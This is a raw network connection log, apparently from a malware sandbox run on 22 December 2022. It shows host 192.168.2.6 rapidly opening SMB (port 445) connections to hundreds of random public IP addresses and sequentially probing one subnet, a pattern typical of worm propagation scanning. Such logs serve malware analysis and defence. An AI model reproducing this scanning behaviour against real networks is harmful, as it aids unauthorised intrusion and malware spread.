Dec 22, 2022 10:04:49.243905067 CET	51702	445	192.168.2.6	177.150.16.161
Dec 22, 2022 10:04:49.245085001 CET	51703	445	192.168.2.6	39.181.21.171
Dec 22, 2022 10:04:49.245860100 CET	51704	445	192.168.2.6	115.248.45.223
Dec 22, 2022 10:04:49.246290922 CET	51705	445	192.168.2.6	118.84.49.60
Dec 22, 2022 10:04:49.246906042 CET	51706	445	192.168.2.6	119.122.104.236
Dec 22, 2022 10:04:49.247323990 CET	51707	445	192.168.2.6	162.152.61.34
Dec 22, 2022 10:04:49.247483969 CET	51708	445	192.168.2.6	39.53.116.199
Dec 22, 2022 10:04:49.247612953 CET	51709	445	192.168.2.6	203.72.161.192
Dec 22, 2022 10:04:49.247781038 CET	51710	445	192.168.2.6	149.205.82.173
Dec 22, 2022 10:04:49.248018980 CET	51711	445	192.168.2.6	139.82.75.236
Dec 22, 2022 10:04:49.248342991 CET	51712	445	192.168.2.6	109.156.217.211
Dec 22, 2022 10:04:49.248425961 CET	51713	445	192.168.2.6	57.211.49.72
Dec 22, 2022 10:04:49.248609066 CET	51714	445	192.168.2.6	207.236.27.56
Dec 22, 2022 10:04:49.248871088 CET	51715	445	192.168.2.6	19.45.114.38
Dec 22, 2022 10:04:49.249094963 CET	51716	445	192.168.2.6	181.230.76.26
Dec 22, 2022 10:04:49.249394894 CET	51718	445	192.168.2.6	98.138.244.179
Dec 22, 2022 10:04:49.249634027 CET	51720	445	192.168.2.6	219.131.218.83
Dec 22, 2022 10:04:49.249962091 CET	51721	445	192.168.2.6	25.121.57.77
Dec 22, 2022 10:04:49.250168085 CET	51722	445	192.168.2.6	192.27.3.185
Dec 22, 2022 10:04:49.250262022 CET	51723	445	192.168.2.6	181.10.119.122
Dec 22, 2022 10:04:49.250413895 CET	51724	445	192.168.2.6	215.165.25.167
Dec 22, 2022 10:04:49.250541925 CET	51725	445	192.168.2.6	32.7.247.146
Dec 22, 2022 10:04:49.250679970 CET	51726	445	192.168.2.6	195.75.237.217
Dec 22, 2022 10:04:49.250921965 CET	51727	445	192.168.2.6	66.245.64.116
Dec 22, 2022 10:04:49.251063108 CET	51728	445	192.168.2.6	212.225.126.3
Dec 22, 2022 10:04:49.251329899 CET	51729	445	192.168.2.6	90.107.26.113
Dec 22, 2022 10:04:49.251445055 CET	51730	445	192.168.2.6	82.149.193.142
Dec 22, 2022 10:04:49.251607895 CET	51731	445	192.168.2.6	32.29.76.251
Dec 22, 2022 10:04:49.253712893 CET	51740	445	192.168.2.6	202.120.70.211
Dec 22, 2022 10:04:49.593585014 CET	51743	445	192.168.2.6	157.183.99.167
Dec 22, 2022 10:04:49.593590975 CET	51742	445	192.168.2.6	55.65.61.7
Dec 22, 2022 10:04:49.914642096 CET	49691	443	192.168.2.6	204.79.197.200
Dec 22, 2022 10:04:50.352686882 CET	51746	445	192.168.2.6	6.93.243.218
Dec 22, 2022 10:04:50.353035927 CET	51748	445	192.168.2.6	223.156.75.152
Dec 22, 2022 10:04:50.353466034 CET	51750	445	192.168.2.6	111.232.112.200
Dec 22, 2022 10:04:50.353590012 CET	51751	445	192.168.2.6	178.226.167.3
Dec 22, 2022 10:04:50.353734970 CET	51752	445	192.168.2.6	174.31.99.79
Dec 22, 2022 10:04:50.353867054 CET	51753	445	192.168.2.6	70.221.106.140
Dec 22, 2022 10:04:50.354016066 CET	51754	445	192.168.2.6	89.39.157.249
Dec 22, 2022 10:04:50.354250908 CET	51755	445	192.168.2.6	48.11.176.232
Dec 22, 2022 10:04:50.354408026 CET	51756	445	192.168.2.6	7.239.141.20
Dec 22, 2022 10:04:50.354614019 CET	51757	445	192.168.2.6	89.180.69.19
Dec 22, 2022 10:04:50.354793072 CET	51758	445	192.168.2.6	211.193.8.183
Dec 22, 2022 10:04:50.354927063 CET	51759	445	192.168.2.6	59.27.148.23
Dec 22, 2022 10:04:50.355902910 CET	51760	445	192.168.2.6	92.24.94.69
Dec 22, 2022 10:04:50.356328964 CET	51761	445	192.168.2.6	139.41.239.71
Dec 22, 2022 10:04:50.356805086 CET	51762	445	192.168.2.6	89.7.120.214
Dec 22, 2022 10:04:50.357450008 CET	51763	445	192.168.2.6	165.202.159.24
Dec 22, 2022 10:04:50.357985020 CET	51764	445	192.168.2.6	160.209.120.140
Dec 22, 2022 10:04:50.358578920 CET	51765	445	192.168.2.6	152.178.75.31
Dec 22, 2022 10:04:50.359353065 CET	51774	445	192.168.2.6	28.169.35.175
Dec 22, 2022 10:04:50.359461069 CET	51775	445	192.168.2.6	123.12.108.18
Dec 22, 2022 10:04:50.359597921 CET	51776	445	192.168.2.6	45.243.215.238
Dec 22, 2022 10:04:50.359735966 CET	51777	445	192.168.2.6	32.159.232.221
Dec 22, 2022 10:04:50.359838963 CET	51778	445	192.168.2.6	130.72.176.22
Dec 22, 2022 10:04:50.359914064 CET	51779	445	192.168.2.6	194.8.68.245
Dec 22, 2022 10:04:50.359997988 CET	51780	445	192.168.2.6	45.213.219.250
Dec 22, 2022 10:04:50.360088110 CET	51781	445	192.168.2.6	118.98.99.184
Dec 22, 2022 10:04:50.360198975 CET	51782	445	192.168.2.6	172.240.89.82
Dec 22, 2022 10:04:50.360317945 CET	51783	445	192.168.2.6	33.185.245.185
Dec 22, 2022 10:04:50.360421896 CET	51784	445	192.168.2.6	223.179.117.42
Dec 22, 2022 10:04:50.396853924 CET	445	51779	194.8.68.245	192.168.2.6
Dec 22, 2022 10:04:50.558562040 CET	445	51781	118.98.99.184	192.168.2.6
Dec 22, 2022 10:04:50.696849108 CET	51786	445	192.168.2.6	132.241.69.224
Dec 22, 2022 10:04:50.697439909 CET	51787	445	192.168.2.6	65.148.91.85
Dec 22, 2022 10:04:50.899147034 CET	51779	445	192.168.2.6	194.8.68.245
Dec 22, 2022 10:04:50.936083078 CET	445	51779	194.8.68.245	192.168.2.6
Dec 22, 2022 10:04:51.070976019 CET	51781	445	192.168.2.6	118.98.99.184
Dec 22, 2022 10:04:51.269486904 CET	445	51781	118.98.99.184	192.168.2.6
Dec 22, 2022 10:04:51.462280989 CET	51800	445	192.168.2.6	181.13.197.43
Dec 22, 2022 10:04:51.462399960 CET	51801	445	192.168.2.6	101.227.214.223
Dec 22, 2022 10:04:51.462431908 CET	51799	445	192.168.2.6	106.119.4.173
Dec 22, 2022 10:04:51.462462902 CET	51802	445	192.168.2.6	207.158.57.158
Dec 22, 2022 10:04:51.462646008 CET	51803	445	192.168.2.6	68.128.242.182
Dec 22, 2022 10:04:51.462722063 CET	51804	445	192.168.2.6	11.84.227.148
Dec 22, 2022 10:04:51.462806940 CET	51805	445	192.168.2.6	133.132.243.14
Dec 22, 2022 10:04:51.462809086 CET	51806	445	192.168.2.6	24.182.203.13
Dec 22, 2022 10:04:51.462949038 CET	51807	445	192.168.2.6	55.109.55.109
Dec 22, 2022 10:04:51.463057995 CET	51809	445	192.168.2.6	148.88.104.121
Dec 22, 2022 10:04:51.463063002 CET	51808	445	192.168.2.6	172.85.157.98
Dec 22, 2022 10:04:51.477608919 CET	51810	445	192.168.2.6	169.136.152.14
Dec 22, 2022 10:04:51.477777958 CET	51812	445	192.168.2.6	49.143.98.155
Dec 22, 2022 10:04:51.477941036 CET	51814	445	192.168.2.6	97.97.34.170
Dec 22, 2022 10:04:51.477969885 CET	51815	445	192.168.2.6	11.253.126.243
Dec 22, 2022 10:04:51.478082895 CET	51816	445	192.168.2.6	198.218.83.86
Dec 22, 2022 10:04:51.478180885 CET	51818	445	192.168.2.6	62.20.172.121
Dec 22, 2022 10:04:51.478245974 CET	51817	445	192.168.2.6	21.248.84.170
Dec 22, 2022 10:04:51.478349924 CET	51819	445	192.168.2.6	95.40.200.38
Dec 22, 2022 10:04:51.478461027 CET	51820	445	192.168.2.6	46.191.35.169
Dec 22, 2022 10:04:51.478471041 CET	51821	445	192.168.2.6	42.48.144.66
Dec 22, 2022 10:04:51.478658915 CET	51824	445	192.168.2.6	215.176.201.235
Dec 22, 2022 10:04:51.478657007 CET	51823	445	192.168.2.6	176.39.54.4
Dec 22, 2022 10:04:51.480535984 CET	51825	445	192.168.2.6	221.212.116.203
Dec 22, 2022 10:04:51.480767965 CET	51826	445	192.168.2.6	220.6.176.211
Dec 22, 2022 10:04:51.480835915 CET	51827	445	192.168.2.6	179.204.219.199
Dec 22, 2022 10:04:51.480880976 CET	51828	445	192.168.2.6	187.239.151.5
Dec 22, 2022 10:04:51.481008053 CET	51829	445	192.168.2.6	110.141.192.75
Dec 22, 2022 10:04:51.495208979 CET	445	51810	169.136.152.14	192.168.2.6
Dec 22, 2022 10:04:51.571274996 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:51.676069975 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:51.676292896 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:51.679930925 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:51.787991047 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:51.792013884 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:51.792284012 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:51.806834936 CET	51832	445	192.168.2.6	11.144.201.142
Dec 22, 2022 10:04:51.806931973 CET	51833	445	192.168.2.6	13.193.115.54
Dec 22, 2022 10:04:51.900059938 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:51.900470018 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:52.008016109 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:52.008208990 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:52.008593082 CET	51810	445	192.168.2.6	169.136.152.14
Dec 22, 2022 10:04:52.026067972 CET	445	51810	169.136.152.14	192.168.2.6
Dec 22, 2022 10:04:52.116031885 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:52.118206978 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:52.181533098 CET	51836	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.228018999 CET	445	51830	176.210.131.20	192.168.2.6
Dec 22, 2022 10:04:52.228152990 CET	51830	445	192.168.2.6	176.210.131.20
Dec 22, 2022 10:04:52.283987999 CET	445	51836	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.284121037 CET	51836	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.284235954 CET	51836	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.284600973 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.384118080 CET	445	51836	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.392086029 CET	445	51836	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.392155886 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.392272949 CET	51836	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.392316103 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.392379045 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.500142097 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.507991076 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.509418011 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.589055061 CET	51847	445	192.168.2.6	202.172.107.9
Dec 22, 2022 10:04:52.589481115 CET	51848	445	192.168.2.6	130.192.180.226
Dec 22, 2022 10:04:52.589694977 CET	51849	445	192.168.2.6	108.60.108.199
Dec 22, 2022 10:04:52.589813948 CET	51850	445	192.168.2.6	94.222.229.75
Dec 22, 2022 10:04:52.590220928 CET	51851	445	192.168.2.6	117.169.107.145
Dec 22, 2022 10:04:52.590622902 CET	51852	445	192.168.2.6	118.109.209.253
Dec 22, 2022 10:04:52.590712070 CET	51853	445	192.168.2.6	21.3.21.42
Dec 22, 2022 10:04:52.590848923 CET	51854	445	192.168.2.6	175.21.16.200
Dec 22, 2022 10:04:52.590864897 CET	51855	445	192.168.2.6	217.244.150.213
Dec 22, 2022 10:04:52.591012955 CET	51856	445	192.168.2.6	118.77.146.191
Dec 22, 2022 10:04:52.591062069 CET	51857	445	192.168.2.6	5.79.238.68
Dec 22, 2022 10:04:52.603282928 CET	51858	445	192.168.2.6	90.65.20.233
Dec 22, 2022 10:04:52.603415966 CET	51859	445	192.168.2.6	206.160.241.11
Dec 22, 2022 10:04:52.603550911 CET	51860	445	192.168.2.6	49.228.50.57
Dec 22, 2022 10:04:52.603571892 CET	51861	445	192.168.2.6	125.203.151.177
Dec 22, 2022 10:04:52.603696108 CET	51862	445	192.168.2.6	198.110.50.96
Dec 22, 2022 10:04:52.603872061 CET	51863	445	192.168.2.6	146.44.33.246
Dec 22, 2022 10:04:52.603951931 CET	51864	445	192.168.2.6	77.110.237.216
Dec 22, 2022 10:04:52.603955984 CET	51865	445	192.168.2.6	133.72.138.78
Dec 22, 2022 10:04:52.604017019 CET	51866	445	192.168.2.6	214.76.53.215
Dec 22, 2022 10:04:52.604130983 CET	51867	445	192.168.2.6	153.248.72.102
Dec 22, 2022 10:04:52.604130983 CET	51868	445	192.168.2.6	29.108.72.107
Dec 22, 2022 10:04:52.604238033 CET	51869	445	192.168.2.6	89.62.80.24
Dec 22, 2022 10:04:52.604345083 CET	51871	445	192.168.2.6	60.43.79.73
Dec 22, 2022 10:04:52.605974913 CET	51873	445	192.168.2.6	219.148.107.125
Dec 22, 2022 10:04:52.606312037 CET	51874	445	192.168.2.6	70.225.178.217
Dec 22, 2022 10:04:52.606376886 CET	51876	445	192.168.2.6	80.206.181.61
Dec 22, 2022 10:04:52.606435061 CET	51877	445	192.168.2.6	188.205.100.92
Dec 22, 2022 10:04:52.606548071 CET	51875	445	192.168.2.6	56.232.122.151
Dec 22, 2022 10:04:52.620188951 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.620362043 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.728122950 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.728276968 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.836077929 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.836242914 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:52.931925058 CET	51879	445	192.168.2.6	110.161.87.1
Dec 22, 2022 10:04:52.932180882 CET	51880	445	192.168.2.6	87.110.90.66
Dec 22, 2022 10:04:52.943923950 CET	445	51837	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:52.944016933 CET	51837	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:53.713148117 CET	51886	445	192.168.2.6	49.205.249.232
Dec 22, 2022 10:04:53.713386059 CET	51888	445	192.168.2.6	108.129.99.63
Dec 22, 2022 10:04:53.713546991 CET	51889	445	192.168.2.6	43.44.43.41
Dec 22, 2022 10:04:53.713694096 CET	51890	445	192.168.2.6	135.13.75.178
Dec 22, 2022 10:04:53.713738918 CET	51891	445	192.168.2.6	201.129.181.212
Dec 22, 2022 10:04:53.713983059 CET	51893	445	192.168.2.6	37.149.113.238
Dec 22, 2022 10:04:53.714087009 CET	51892	445	192.168.2.6	77.193.11.51
Dec 22, 2022 10:04:53.714188099 CET	51894	445	192.168.2.6	47.172.29.238
Dec 22, 2022 10:04:53.714230061 CET	51895	445	192.168.2.6	71.241.160.195
Dec 22, 2022 10:04:53.714397907 CET	51896	445	192.168.2.6	58.196.91.133
Dec 22, 2022 10:04:53.714559078 CET	51898	445	192.168.2.6	22.83.11.78
Dec 22, 2022 10:04:53.714576960 CET	51897	445	192.168.2.6	9.13.100.30
Dec 22, 2022 10:04:53.714833975 CET	51900	445	192.168.2.6	50.60.31.193
Dec 22, 2022 10:04:53.715701103 CET	51908	445	192.168.2.6	68.170.119.248
Dec 22, 2022 10:04:53.715703011 CET	51909	445	192.168.2.6	198.30.146.203
Dec 22, 2022 10:04:53.715974092 CET	51911	445	192.168.2.6	162.254.65.90
Dec 22, 2022 10:04:53.716069937 CET	51910	445	192.168.2.6	80.180.167.10
Dec 22, 2022 10:04:53.716196060 CET	51913	445	192.168.2.6	150.13.185.154
Dec 22, 2022 10:04:53.716280937 CET	51912	445	192.168.2.6	172.51.105.232
Dec 22, 2022 10:04:53.716499090 CET	51914	445	192.168.2.6	141.33.95.180
Dec 22, 2022 10:04:53.716588020 CET	51915	445	192.168.2.6	213.243.34.244
Dec 22, 2022 10:04:53.716732979 CET	51916	445	192.168.2.6	132.133.139.30
Dec 22, 2022 10:04:53.716852903 CET	51917	445	192.168.2.6	171.58.97.175
Dec 22, 2022 10:04:53.717006922 CET	51918	445	192.168.2.6	158.67.114.183
Dec 22, 2022 10:04:53.720732927 CET	51919	445	192.168.2.6	203.143.20.141
Dec 22, 2022 10:04:53.720861912 CET	51920	445	192.168.2.6	26.58.148.193
Dec 22, 2022 10:04:53.720921040 CET	51921	445	192.168.2.6	163.187.56.56
Dec 22, 2022 10:04:53.720942020 CET	51922	445	192.168.2.6	16.187.13.154
Dec 22, 2022 10:04:53.721038103 CET	51923	445	192.168.2.6	106.176.169.90
Dec 22, 2022 10:04:53.845508099 CET	445	51911	162.254.65.90	192.168.2.6
Dec 22, 2022 10:04:54.058381081 CET	51925	445	192.168.2.6	46.97.107.39
Dec 22, 2022 10:04:54.058948994 CET	51926	445	192.168.2.6	89.179.68.219
Dec 22, 2022 10:04:54.352497101 CET	51911	445	192.168.2.6	162.254.65.90
Dec 22, 2022 10:04:54.482079983 CET	445	51911	162.254.65.90	192.168.2.6
Dec 22, 2022 10:04:54.837946892 CET	51933	445	192.168.2.6	121.32.165.54
Dec 22, 2022 10:04:54.838121891 CET	51934	445	192.168.2.6	165.183.181.208
Dec 22, 2022 10:04:54.838232040 CET	51935	445	192.168.2.6	187.227.83.77
Dec 22, 2022 10:04:54.838335037 CET	51936	445	192.168.2.6	145.144.237.195
Dec 22, 2022 10:04:54.838466883 CET	51937	445	192.168.2.6	117.142.66.29
Dec 22, 2022 10:04:54.838546038 CET	51938	445	192.168.2.6	180.88.157.134
Dec 22, 2022 10:04:54.838690042 CET	51939	445	192.168.2.6	88.67.22.253
Dec 22, 2022 10:04:54.838840961 CET	51940	445	192.168.2.6	57.5.244.52
Dec 22, 2022 10:04:54.838891983 CET	51941	445	192.168.2.6	190.136.100.3
Dec 22, 2022 10:04:54.838989973 CET	51942	445	192.168.2.6	162.231.24.225
Dec 22, 2022 10:04:54.839090109 CET	51943	445	192.168.2.6	132.37.208.16
Dec 22, 2022 10:04:54.839200020 CET	51944	445	192.168.2.6	20.101.86.106
Dec 22, 2022 10:04:54.839662075 CET	51947	445	192.168.2.6	116.118.77.125
Dec 22, 2022 10:04:54.840588093 CET	51954	445	192.168.2.6	5.169.75.176
Dec 22, 2022 10:04:54.840673923 CET	51955	445	192.168.2.6	59.138.159.228
Dec 22, 2022 10:04:54.840789080 CET	51956	445	192.168.2.6	181.219.6.52
Dec 22, 2022 10:04:54.840897083 CET	51957	445	192.168.2.6	194.167.218.108
Dec 22, 2022 10:04:54.840961933 CET	51958	445	192.168.2.6	150.43.164.242
Dec 22, 2022 10:04:54.841054916 CET	51959	445	192.168.2.6	57.195.149.147
Dec 22, 2022 10:04:54.841248989 CET	51960	445	192.168.2.6	163.108.29.78
Dec 22, 2022 10:04:54.841267109 CET	51961	445	192.168.2.6	133.20.42.231
Dec 22, 2022 10:04:54.841345072 CET	51962	445	192.168.2.6	149.81.59.214
Dec 22, 2022 10:04:54.841564894 CET	51963	445	192.168.2.6	222.77.176.129
Dec 22, 2022 10:04:54.841564894 CET	51964	445	192.168.2.6	18.145.251.205
Dec 22, 2022 10:04:54.842104912 CET	51965	445	192.168.2.6	34.168.68.42
Dec 22, 2022 10:04:54.842600107 CET	51966	445	192.168.2.6	173.18.65.131
Dec 22, 2022 10:04:54.843189955 CET	51967	445	192.168.2.6	202.156.73.15
Dec 22, 2022 10:04:54.843713045 CET	51968	445	192.168.2.6	5.97.179.118
Dec 22, 2022 10:04:54.844305992 CET	51969	445	192.168.2.6	210.175.32.137
Dec 22, 2022 10:04:55.182171106 CET	51971	445	192.168.2.6	4.114.198.62
Dec 22, 2022 10:04:55.182684898 CET	51972	445	192.168.2.6	117.21.244.91
Dec 22, 2022 10:04:55.837718964 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:55.944869995 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:55.947957039 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:55.959583044 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:55.966819048 CET	51979	445	192.168.2.6	142.45.124.182
Dec 22, 2022 10:04:55.966823101 CET	51980	445	192.168.2.6	122.172.211.69
Dec 22, 2022 10:04:55.967513084 CET	51981	445	192.168.2.6	99.0.36.85
Dec 22, 2022 10:04:55.986078024 CET	51982	445	192.168.2.6	40.146.211.75
Dec 22, 2022 10:04:55.989612103 CET	51983	445	192.168.2.6	98.77.120.70
Dec 22, 2022 10:04:55.989841938 CET	51984	445	192.168.2.6	143.247.24.181
Dec 22, 2022 10:04:55.989949942 CET	51985	445	192.168.2.6	20.221.199.44
Dec 22, 2022 10:04:55.990030050 CET	51986	445	192.168.2.6	161.63.180.19
Dec 22, 2022 10:04:55.990184069 CET	51987	445	192.168.2.6	8.170.88.133
Dec 22, 2022 10:04:55.990291119 CET	51988	445	192.168.2.6	40.144.19.227
Dec 22, 2022 10:04:55.990370989 CET	51989	445	192.168.2.6	139.11.237.162
Dec 22, 2022 10:04:55.990463018 CET	51990	445	192.168.2.6	169.193.118.145
Dec 22, 2022 10:04:55.990588903 CET	51991	445	192.168.2.6	133.93.128.83
Dec 22, 2022 10:04:55.990679026 CET	51992	445	192.168.2.6	108.39.198.177
Dec 22, 2022 10:04:55.990761042 CET	51993	445	192.168.2.6	191.90.1.208
Dec 22, 2022 10:04:55.990880966 CET	51994	445	192.168.2.6	41.190.216.80
Dec 22, 2022 10:04:55.991453886 CET	52001	445	192.168.2.6	146.233.85.127
Dec 22, 2022 10:04:55.991674900 CET	52004	445	192.168.2.6	187.31.139.62
Dec 22, 2022 10:04:55.991826057 CET	52005	445	192.168.2.6	37.2.96.215
Dec 22, 2022 10:04:55.991884947 CET	52006	445	192.168.2.6	7.80.50.143
Dec 22, 2022 10:04:55.991976976 CET	52007	445	192.168.2.6	219.15.221.199
Dec 22, 2022 10:04:55.992062092 CET	52008	445	192.168.2.6	184.188.17.157
Dec 22, 2022 10:04:55.992140055 CET	52009	445	192.168.2.6	48.98.132.92
Dec 22, 2022 10:04:55.992283106 CET	52010	445	192.168.2.6	143.88.97.190
Dec 22, 2022 10:04:55.992311954 CET	52011	445	192.168.2.6	160.124.106.49
Dec 22, 2022 10:04:55.992403984 CET	52012	445	192.168.2.6	65.217.19.200
Dec 22, 2022 10:04:55.992547989 CET	52013	445	192.168.2.6	110.49.130.128
Dec 22, 2022 10:04:55.992621899 CET	52014	445	192.168.2.6	4.174.112.5
Dec 22, 2022 10:04:55.992638111 CET	52015	445	192.168.2.6	4.144.238.65
Dec 22, 2022 10:04:56.067761898 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:56.067842960 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:56.068274021 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:56.175862074 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:56.176131010 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:56.287759066 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:56.287961960 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:56.291970015 CET	52019	445	192.168.2.6	201.244.221.69
Dec 22, 2022 10:04:56.292002916 CET	52020	445	192.168.2.6	17.36.148.141
Dec 22, 2022 10:04:56.395617008 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:56.395814896 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:56.462755919 CET	52022	445	192.168.2.6	176.210.131.22
Dec 22, 2022 10:04:56.504503965 CET	445	51977	176.210.131.21	192.168.2.6
Dec 22, 2022 10:04:56.504614115 CET	51977	445	192.168.2.6	176.210.131.21
Dec 22, 2022 10:04:56.854947090 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:56.885282040 CET	443	49711	20.90.152.133	192.168.2.6
Dec 22, 2022 10:04:56.930886030 CET	49711	443	192.168.2.6	20.90.152.133
Dec 22, 2022 10:04:57.088033915 CET	52028	445	192.168.2.6	32.16.162.203
Dec 22, 2022 10:04:57.088126898 CET	52030	445	192.168.2.6	110.136.68.20
Dec 22, 2022 10:04:57.088207006 CET	52031	445	192.168.2.6	58.123.191.192
Dec 22, 2022 10:04:57.088253021 CET	52032	445	192.168.2.6	7.232.231.46
Dec 22, 2022 10:04:57.088373899 CET	52033	445	192.168.2.6	137.202.139.212
Dec 22, 2022 10:04:57.088493109 CET	52034	445	192.168.2.6	79.118.110.247
Dec 22, 2022 10:04:57.088568926 CET	52035	445	192.168.2.6	87.181.219.21
Dec 22, 2022 10:04:57.088615894 CET	52036	445	192.168.2.6	92.157.10.42
Dec 22, 2022 10:04:57.088663101 CET	52037	445	192.168.2.6	150.66.27.85
Dec 22, 2022 10:04:57.088722944 CET	52038	445	192.168.2.6	119.61.60.3
Dec 22, 2022 10:04:57.088793039 CET	52039	445	192.168.2.6	200.54.53.243
Dec 22, 2022 10:04:57.088906050 CET	52040	445	192.168.2.6	21.29.198.22
Dec 22, 2022 10:04:57.089179993 CET	52043	445	192.168.2.6	14.82.170.18
Dec 22, 2022 10:04:57.089447021 CET	52050	445	192.168.2.6	131.219.128.30
Dec 22, 2022 10:04:57.089561939 CET	52052	445	192.168.2.6	10.128.59.57
Dec 22, 2022 10:04:57.089597940 CET	52051	445	192.168.2.6	218.83.85.140
Dec 22, 2022 10:04:57.089607954 CET	52053	445	192.168.2.6	78.224.200.39
Dec 22, 2022 10:04:57.089692116 CET	52054	445	192.168.2.6	174.139.175.154
Dec 22, 2022 10:04:57.089895010 CET	52056	445	192.168.2.6	36.69.1.78
Dec 22, 2022 10:04:57.089915037 CET	52055	445	192.168.2.6	2.115.64.253
Dec 22, 2022 10:04:57.089951992 CET	52057	445	192.168.2.6	153.236.168.112
Dec 22, 2022 10:04:57.090095043 CET	52058	445	192.168.2.6	195.132.99.204
Dec 22, 2022 10:04:57.090118885 CET	52059	445	192.168.2.6	204.93.245.101
Dec 22, 2022 10:04:57.090214968 CET	52060	445	192.168.2.6	57.41.222.65
Dec 22, 2022 10:04:57.092566967 CET	52061	445	192.168.2.6	96.212.160.251
Dec 22, 2022 10:04:57.092624903 CET	52062	445	192.168.2.6	215.77.160.57
Dec 22, 2022 10:04:57.092720985 CET	52063	445	192.168.2.6	156.148.26.182
Dec 22, 2022 10:04:57.092761993 CET	52064	445	192.168.2.6	163.197.171.15
Dec 22, 2022 10:04:57.092870951 CET	52065	445	192.168.2.6	189.199.112.180
Dec 22, 2022 10:04:57.263981104 CET	445	52065	189.199.112.180	192.168.2.6
Dec 22, 2022 10:04:57.279081106 CET	445	52030	110.136.68.20	192.168.2.6
Dec 22, 2022 10:04:57.401844025 CET	52067	445	192.168.2.6	77.189.201.6
Dec 22, 2022 10:04:57.402683020 CET	52068	445	192.168.2.6	168.243.123.12
Dec 22, 2022 10:04:57.525557041 CET	52071	445	192.168.2.6	176.210.131.23
Dec 22, 2022 10:04:57.781548977 CET	52030	445	192.168.2.6	110.136.68.20
Dec 22, 2022 10:04:57.781555891 CET	52065	445	192.168.2.6	189.199.112.180
Dec 22, 2022 10:04:57.952744961 CET	445	52065	189.199.112.180	192.168.2.6
Dec 22, 2022 10:04:57.972034931 CET	445	52030	110.136.68.20	192.168.2.6
Dec 22, 2022 10:04:58.211214066 CET	52076	445	192.168.2.6	191.37.227.43
Dec 22, 2022 10:04:58.225548983 CET	52077	445	192.168.2.6	56.86.149.156
Dec 22, 2022 10:04:58.254924059 CET	52078	445	192.168.2.6	210.75.85.228
Dec 22, 2022 10:04:58.255011082 CET	52079	445	192.168.2.6	206.79.16.178
Dec 22, 2022 10:04:58.255084038 CET	52081	445	192.168.2.6	31.158.130.131
Dec 22, 2022 10:04:58.255172968 CET	52080	445	192.168.2.6	219.12.40.190
Dec 22, 2022 10:04:58.255320072 CET	52082	445	192.168.2.6	186.218.104.234
Dec 22, 2022 10:04:58.255897999 CET	52083	445	192.168.2.6	187.29.18.241
Dec 22, 2022 10:04:58.256017923 CET	52084	445	192.168.2.6	214.129.16.127
Dec 22, 2022 10:04:58.256139040 CET	52085	445	192.168.2.6	90.78.33.138
Dec 22, 2022 10:04:58.256230116 CET	52086	445	192.168.2.6	189.23.37.108
Dec 22, 2022 10:04:58.256330967 CET	52087	445	192.168.2.6	185.122.246.207
Dec 22, 2022 10:04:58.256444931 CET	52088	445	192.168.2.6	68.226.70.118
Dec 22, 2022 10:04:58.257251024 CET	52094	445	192.168.2.6	167.78.18.99
Dec 22, 2022 10:04:58.257772923 CET	52097	445	192.168.2.6	1.253.207.178
Dec 22, 2022 10:04:58.258445978 CET	52099	445	192.168.2.6	104.112.51.112
Dec 22, 2022 10:04:58.258790016 CET	52100	445	192.168.2.6	159.75.100.112
